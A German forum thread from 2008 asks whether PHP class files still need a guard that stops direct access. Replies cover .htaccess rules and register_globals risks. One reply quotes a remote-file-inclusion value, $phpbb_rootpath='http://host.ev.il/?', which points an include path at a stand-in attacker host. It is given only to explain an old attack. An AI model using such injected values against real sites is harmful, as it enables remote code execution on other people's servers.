Autor |
Beitrag |
Heiko
Beiträge: 3169
Erhaltene Danke: 11
|
Verfasst: Sa 29.11.08 12:38
Hallo,
inzwischen sind ja viele PHP-Seiten OOP basiert. Man findet in deren PHP-Dateien also nur noch Klassen und keine blanken Variablen/Funtkionen. Doch findet man bei vielen Seiten weiterhin ein "die" am Anfangder Datei, falls die Seite direkt aufgerufen wurde. Ist das bei Klassen wirklich noch notwendig?
Beispiel:
C#-Quelltext 1: 2: 3: 4: 5: 6: 7:
| <?php if (!defined('MY_ROOT')) die('You can not access this file directly!'); class Test{ ... } ?> |
Grüße
Heiko
Zuletzt bearbeitet von Heiko am Di 09.12.08 16:10, insgesamt 1-mal bearbeitet
|
|
Regan
Beiträge: 2157
Erhaltene Danke: 72
Java (Eclipse), Python (Sublimetext 3)
|
Verfasst: Fr 05.12.08 11:25
Ich würde sagen: Ja! Alles, was der Nutzer nicht sehen muss, darf er auch nicht sehen.
Übrigens würde ich dir zu einer anderen Variante raten: Erstell dir eine htacces-Datei. Dort stellst du dann einfach ein, dass alles, was im Ordner "hierdeinklassenordner" ist, auf eine Acces-Denied-Seite umleitet. Dann kann der Nutzer nicht mal den Dateinamen "erraten".
|
|
Kha
Beiträge: 3803
Erhaltene Danke: 176
Arch Linux
Python, C, C++ (vim)
|
Verfasst: Fr 05.12.08 13:33
Regan hat folgendes geschrieben : | Ich würde sagen: Ja! Alles, was der Nutzer nicht sehen muss, darf er auch nicht sehen. |
Einen Webserver, der .php-Dateien zum Download anbietet, sollte man lieber auf der Stelle aus dem Fenster werfen .
Heiko hat folgendes geschrieben : | Ist das bei Klassen wirklich noch notwendig? |
Ich denke nicht, aber es ist wenigstens für den User (wie auch immer er dorthin gelangt ist) eine schönere Fehlermeldung als eine leere Seite .
_________________ >λ=
|
|
Heiko
Beiträge: 3169
Erhaltene Danke: 11
|
Verfasst: Fr 05.12.08 18:58
@Regan: Ahja, haste dir schon einmal die einfachen Pakete von HostEurope & Co angeguckt? Die Unterstützten manchmal keine .htaccess-Dateien. Von daher ist es wenn nur eione bedingter Sicherheitsgewinn.
Kha hat folgendes geschrieben : | Regan hat folgendes geschrieben : | Ich würde sagen: Ja! Alles, was der Nutzer nicht sehen muss, darf er auch nicht sehen. | Einen Webserver, der .php-Dateien zum Download anbietet, sollte man lieber auf der Stelle aus dem Fenster werfen . |
Japp, schafft man aber z.B. dadurch, dass man den Server überlastet. Dann machen es einige . Allerdings würde es mich weniger stören. Mir gehts eher darum, dass keiner an die Daten der DB kommt. Wenn der Source OpenSource ist, ist es ja egal, wenn er die Dateien blanko ausliefert - schließlich kann man sich die eh so runterladen .
Kha hat folgendes geschrieben : | Heiko hat folgendes geschrieben : | Ist das bei Klassen wirklich noch notwendig? | Ich denke nicht, aber es ist wenigstens für den User (wie auch immer er dorthin gelangt ist) eine schönere Fehlermeldung als eine leere Seite . |
An der Stelle hast du natürlich Recht. Aber: wer auf eine php-Datei stößt, die eigentlich nicht direkt aufrufbar ist, hat meistens eher böse Absichten im Sinne - von daher ist es da ggf. Geschmackssache, ob man sich den Traffic gönnt oder nicht
|
|
BenBE
Beiträge: 8721
Erhaltene Danke: 191
Win95, Win98SE, Win2K, WinXP
D1S, D3S, D4S, D5E, D6E, D7E, D9PE, D10E, D12P, DXEP, L0.9\FPC2.0
|
Verfasst: Mo 08.12.08 15:53
Diese Die-Anweisungen sind i.d.R. dafür gedacht, das unerlaubte Aufrufen von Funktions-Bibliotheken zu unterbinden, was im Zusammenhang mit Register Globals sehr nette Sicherheitslücken zulässt. Bei Klassen ist es nicht direkt mehr nötig, sollte aber der Konsistenz halber für jegliche Seiten, die vom User nicht aufgerufen werden dürfen, durchgeführt werden.
_________________ Anyone who is capable of being elected president should on no account be allowed to do the job.
Ich code EdgeMonkey - In dubio pro Setting.
|
|
Heiko
Beiträge: 3169
Erhaltene Danke: 11
|
Verfasst: Mo 08.12.08 18:30
BenBE hat folgendes geschrieben : | das unerlaubte Aufrufen von Funktions-Bibliotheken zu unterbinden, was im Zusammenhang mit Register Globals sehr nette Sicherheitslücken zulässt. |
Wie ruft man Funktionen auf? Dass man mit register_globals Variablen setzten kann, ist mir bewusst - aber wie ruft man Funktionen darüber auf?
|
|
BenBE
Beiträge: 8721
Erhaltene Danke: 191
Win95, Win98SE, Win2K, WinXP
D1S, D3S, D4S, D5E, D6E, D7E, D9PE, D10E, D12P, DXEP, L0.9\FPC2.0
|
Verfasst: Mo 08.12.08 23:08
Direkt Funktionsaufrufe erzwingen kann man nicht, man kann aber durch Register Globals sehr gut so tun, als ob dieses Modul legitim eingebunden wurde mit diesen (für den Angreifer günstigen) Werten und erhält damit eine nette Möglichkeit eigenen Code unterzujubeln. hat man gern mit $phpbb_rootpath='http://host.ev.il/?'; gemacht.
_________________ Anyone who is capable of being elected president should on no account be allowed to do the job.
Ich code EdgeMonkey - In dubio pro Setting.
|
|
Heiko
Beiträge: 3169
Erhaltene Danke: 11
|
Verfasst: Di 09.12.08 01:12
Wenn in der Datei nur Funktionen definiert sind - dann dürfte doch nix passieren. php registriert dass da Funktionen drin sind, aber nix was er ausführen kann. Von daher sehe ich an der Stelle das Problem nicht. Na klar, sobald irgendeine Zeile Code direkt ausgeführt wird, wäre es unpraktisch - also da muss man logischerweise die Zeile einfügen.
|
|
BenBE
Beiträge: 8721
Erhaltene Danke: 191
Win95, Win98SE, Win2K, WinXP
D1S, D3S, D4S, D5E, D6E, D7E, D9PE, D10E, D12P, DXEP, L0.9\FPC2.0
|
Verfasst: Di 09.12.08 13:30
Korrekt, aber einen Grund, warum man es trotzdem tun sollte, hatte Kha ja bereits erwähnt.
_________________ Anyone who is capable of being elected president should on no account be allowed to do the job.
Ich code EdgeMonkey - In dubio pro Setting.
|
|
Heiko
Beiträge: 3169
Erhaltene Danke: 11
|
Verfasst: Mi 10.12.08 00:12
Ok danke für die Antworten.
|
|
|